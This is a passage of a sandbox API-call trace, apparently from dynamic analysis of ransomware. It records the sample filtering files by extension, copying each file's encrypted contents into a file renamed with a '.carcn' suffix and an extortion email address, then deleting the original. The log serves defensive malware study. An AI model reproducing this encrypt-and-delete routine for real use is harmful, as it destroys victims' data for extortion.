(lpString=".zip") returned 4 [0161.697] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.697] lstrlenW (lpString=".rar") returned 4 [0161.697] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.697] lstrlenW (lpString=".bz2") returned 4 [0161.697] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.697] lstrlenW (lpString=".7z") returned 3 [0161.697] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.697] lstrlenW (lpString=".dbf") returned 4 [0161.697] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.697] lstrlenW (lpString=".1cd") returned 4 [0161.697] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.697] lstrlenW (lpString=".jpg") returned 4 [0161.697] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.697] lstrlenW (lpString=".doc") returned 4 [0161.698] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.698] lstrlenW (lpString=".docx") returned 5 [0161.698] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.698] lstrlenW (lpString=".pdf") returned 4 [0161.698] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.698] lstrlenW (lpString=".xls") returned 4 [0161.698] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.698] lstrlenW (lpString=".xlsx") returned 5 [0161.698] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.698] lstrlenW (lpString=".ppt") returned 4 [0161.698] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.698] lstrlenW (lpString=".zip") returned 4 [0161.698] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.698] lstrlenW (lpString=".rar") returned 4 [0161.698] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.698] lstrlenW (lpString=".bz2") returned 4 [0161.698] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.698] lstrlenW (lpString=".7z") returned 3 [0161.698] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.698] lstrlenW (lpString=".dbf") returned 4 [0161.698] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.698] lstrlenW (lpString=".1cd") returned 4 [0161.698] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.698] lstrlenW (lpString=".jpg") returned 4 [0161.698] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.708] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.708] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.708] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=60816) returned 1 [0161.708] CloseHandle (hObject=0x2d4) returned 1 [0161.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0161.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.709] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.709] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0161.709] GetLastError () returned 0x0 [0161.709] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0xed90, lpOverlapped=0x0) returned 1 [0161.913] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xeda0, lpOverlapped=0x0) returned 1 [0161.914] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.914] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.914] SetEndOfFile (hFile=0x360) returned 1 [0161.915] CloseHandle (hObject=0x360) returned 1 [0161.916] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.916] SetEndOfFile (hFile=0x2d4) returned 1 [0161.917] CloseHandle (hObject=0x2d4) returned 1 [0161.917] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.917] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0161.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.917] lstrlenW (lpString=".doc") returned 4 [0161.917] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString=".docx") returned 5 [0161.918] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.918] lstrlenW (lpString=".pdf") returned 4 [0161.918] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString=".xls") returned 4 [0161.918] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString=".xlsx") returned 5 [0161.918] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.918] lstrlenW (lpString=".ppt") returned 4 [0161.918] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.918] lstrlenW (lpString=".zip") returned 4 [0161.918] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.918] lstrlenW (lpString=".rar") returned 4 [0161.918] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString=".bz2") returned 4 [0161.918] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString=".7z") returned 3 [0161.918] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.918] lstrlenW (lpString=".dbf") returned 4 [0161.918] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.918] lstrlenW (lpString=".1cd") returned 4 [0161.918] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.918] lstrlenW (lpString=".jpg") returned 4 [0161.918] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.918] lstrlenW (lpString=".doc") returned 4 [0161.918] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.918] lstrlenW (lpString=".docx") returned 5 [0161.918] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.919] lstrlenW (lpString=".pdf") returned 4 [0161.919] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.919] lstrlenW (lpString=".xls") returned 4 [0161.919] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.919] lstrlenW (lpString=".xlsx") returned 5 [0161.919] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.919] lstrlenW (lpString=".ppt") returned 4 [0161.919] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.919] lstrlenW (lpString=".zip") returned 4 [0161.919] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.919] lstrlenW (lpString=".rar") returned 4 [0161.919] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.919] lstrlenW (lpString=".bz2") returned 4 [0161.919] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.919] lstrlenW (lpString=".7z") returned 3 [0161.919] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.919] lstrlenW (lpString=".dbf") returned 4 [0161.919] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.919] lstrlenW (lpString=".1cd") returned 4 [0161.919] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0161.919] lstrlenW (lpString=".jpg") returned 4 [0161.919] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.919] lstrcmpiW (lpString1=".html", lpString2=".carcn") returned 1 [0161.919] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0161.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.920] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=16118) returned 1 [0161.920] CloseHandle (hObject=0x2d4) returned 1 [0161.920] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0161.920] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.920] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.920] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.920] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.920] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0161.920] GetLastError () returned 0x0 [0161.920] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0162.155] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x3f00, lpOverlapped=0x0) returned 1 [0162.157] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0162.158] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf4, lpOverlapped=0x0) returned 1 [0162.158] SetEndOfFile (hFile=0x360) returned 1 [0162.158] CloseHandle (hObject=0x360) returned 1 [0162.159] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.159] SetEndOfFile (hFile=0x2d4) returned 1 [0162.160] CloseHandle (hObject=0x2d4) returned 1 [0162.160] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.161] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0162.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.161] lstrlenW (lpString=".doc") returned 4 [0162.161] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0162.161] lstrlenW (lpString=".docx") returned 5 [0162.161] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0162.161] lstrlenW (lpString=".pdf") returned 4 [0162.161] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0162.161] lstrlenW (lpString=".xls") returned 4 [0162.161] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0162.161] lstrlenW (lpString=".xlsx") returned 5 [0162.161] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0162.161] lstrlenW (lpString=".ppt") returned 4 [0162.161] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0162.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.161] lstrlenW (lpString=".zip") returned 4 [0162.161] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0162.161] lstrlenW (lpString=".rar") returned 4 [0162.161] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0162.161] lstrlenW (lpString=".bz2") returned 4 [0162.161] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0162.161] lstrlenW (lpString=".7z") returned 3 [0162.161] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0162.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.162] lstrlenW (lpString=".dbf") returned 4 [0162.162] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0162.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.162] lstrlenW (lpString=".1cd") returned 4 [0162.162] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0162.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.162] lstrlenW (lpString=".jpg") returned 4 [0162.162] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0162.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.162] lstrlenW (lpString=".doc") returned 4 [0162.162] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0162.162] lstrlenW (lpString=".docx") returned 5 [0162.162] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0162.162] lstrlenW (lpString=".pdf") returned 4 [0162.162] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0162.162] lstrlenW (lpString=".xls") returned 4 [0162.162] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0162.162] lstrlenW (lpString=".xlsx") returned 5 [0162.162] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0162.162] lstrlenW (lpString=".ppt") returned 4 [0162.162] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0162.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.162] lstrlenW (lpString=".zip") returned 4 [0162.162] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0162.162] lstrlenW (lpString=".rar") returned 4 [0162.162] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0162.162] lstrlenW (lpString=".bz2") returned 4 [0162.162] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0162.162] lstrlenW (lpString=".7z") returned 3 [0162.162] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0162.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.163] lstrlenW (lpString=".dbf") returned 4 [0162.163] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0162.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.163] lstrlenW (lpString=".1cd") returned 4 [0162.163] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0162.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0162.163] lstrlenW (lpString=".jpg") returned 4 [0162.163] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0162.163] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0162.163] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0162.163] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0162.163] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=93314) returned 1 [0162.163] CloseHandle (hObject=0x2d4) returned 1 [0162.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0162.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0162.164] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.164] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.164] GetLastError () returned 0x0 [0162.164] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x16c82, lpOverlapped=0x0) returned 1 [0162.627] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x16c90, lpOverlapped=0x0) returned 1 [0162.629] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0162.629] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0162.630] SetEndOfFile (hFile=0x360) returned 1 [0162.630] CloseHandle (hObject=0x360) returned 1 [0162.632] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.632] SetEndOfFile (hFile=0x2d4) returned 1 [0162.633] CloseHandle (hObject=0x2d4) returned 1 [0162.633] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.633] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0162.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.634] lstrlenW (lpString=".doc") returned 4 [0162.634] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.634] lstrlenW (lpString=".docx") returned 5 [0162.634] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.634] lstrlenW (lpString=".pdf") returned 4 [0162.634] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.634] lstrlenW (lpString=".xls") returned 4 [0162.634] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.634] lstrlenW (lpString=".xlsx") returned 5 [0162.634] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.634] lstrlenW (lpString=".ppt") returned 4 [0162.634] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.634] lstrlenW (lpString=".zip") returned 4 [0162.634] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.634] lstrlenW (lpString=".rar") returned 4 [0162.634] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.634] lstrlenW (lpString=".bz2") returned 4 [0162.634] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.634] lstrlenW (lpString=".7z") returned 3 [0162.634] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.634] lstrlenW (lpString=".dbf") returned 4 [0162.634] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.634] lstrlenW (lpString=".1cd") returned 4 [0162.634] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.634] lstrlenW (lpString=".jpg") returned 4 [0162.635] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.635] lstrlenW (lpString=".doc") returned 4 [0162.635] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.635] lstrlenW (lpString=".docx") returned 5 [0162.635] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.635] lstrlenW (lpString=".pdf") returned 4 [0162.635] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.635] lstrlenW (lpString=".xls") returned 4 [0162.635] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.635] lstrlenW (lpString=".xlsx") returned 5 [0162.635] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.635] lstrlenW (lpString=".ppt") returned 4 [0162.635] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.635] lstrlenW (lpString=".zip") returned 4 [0162.635] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.635] lstrlenW (lpString=".rar") returned 4 [0162.635] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.635] lstrlenW (lpString=".bz2") returned 4 [0162.635] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.635] lstrlenW (lpString=".7z") returned 3 [0162.635] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.635] lstrlenW (lpString=".dbf") returned 4 [0162.635] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.635] lstrlenW 